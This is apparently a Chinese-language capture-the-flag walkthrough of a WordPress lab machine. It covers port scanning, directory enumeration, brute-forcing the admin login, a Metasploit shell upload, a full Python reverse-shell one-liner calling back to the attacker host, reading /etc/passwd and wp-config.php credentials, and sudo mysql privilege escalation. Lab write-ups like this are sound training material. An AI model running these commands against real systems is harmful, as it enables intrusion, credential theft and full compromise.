信息收集
一、端口扫描
首先使用nmap进行主机发现(-sn是ping扫描)
nmap -sn 192.168.43.1/24
nmap -sV 192.168.43.78 # -sV参数是探测端口以及服务
二、目录穷举
python3 dirsearch.py -u http://192.168.43.78/
Web渗透
一、burpsuit实现资源重定向
进入/wordpress 界面,发现界面长时间响应,并且得到的页面也差强人意,抓包查看发现响应体的内容获取页面的地址指向的是不存在的ip:192.168.159.145。
在bp中选择Proxy->Options->Match and Replace替换规则(注意,这里配置了替换之后,只要浏览器走的是burp端口,无论是否使用intercept都会进行替换)
替换之后的界面如下:
二、密码爆破
进入/wordpress/wp-login.php发现后台登陆页面,并且通过尝试发现存在admin用户(当username不存在时,会返回一个 Unknown username. Check again or try your email address. 的提示)
使用burp的密码暴力穷举(字典位置:https://github.com/dictest/subdic/tree/ddc8b5dc82750093b6763d9d064bb7d99aa1f425),获得密码(在midpwd.txt里面)
三、获取shell
这里使用上传Plugings的方法是可以上传webshell的,不过不知道为什么我这边一直不能成功。
换一种方法,使用msf进行getshell,具体命令如下:
msfdb run
search wordpress admin
exploit/unix/webapp/wp_admin_shell_upload
设置如下参数,TARGETURI参数 /wordpress,成功拿到shell
四、反弹shell(因为这里无法使用tab补全等一系列功能)
kali开启端口监听
nc -lvp 4444
在msf上使用如下命令
python3 -c "import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.43.126\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);import pty; pty.spawn([\"/bin/bash\"])"
完善一下交互式shell,首先将kali上的终端设置为bash,然后使用ctrl+z将shell置入后台,接着使用stty raw -echo
命令,然后使用fg命令即可。(如果页面位置奇怪,试下exit)
提权
使用cat /etc/passwd
查看用户信息,发现一个叫做wpadmin的账户,这里有一个flag。进入/home/wpadmin
发现存在一个local.txt的文件,发现没有可读权限
查看数据库配置,/var/www/html/wordpress/wp-config.php,发现给出了密码,试试这个密码是否能登陆wplocal账户,然而失败,而且连数据库也登不了…最后发现wpadmin的密码是一开始弱口令爆出来的密码adam14,得到第一个flag
登陆wpadmin账户的同时使用sudo -l
发现可以执行root权限的命令,使用数据库里面的system,最终获得第二个flag
sudo /usr/bin/mysql -u root -D wordpress -p #这里必须要加sudo
end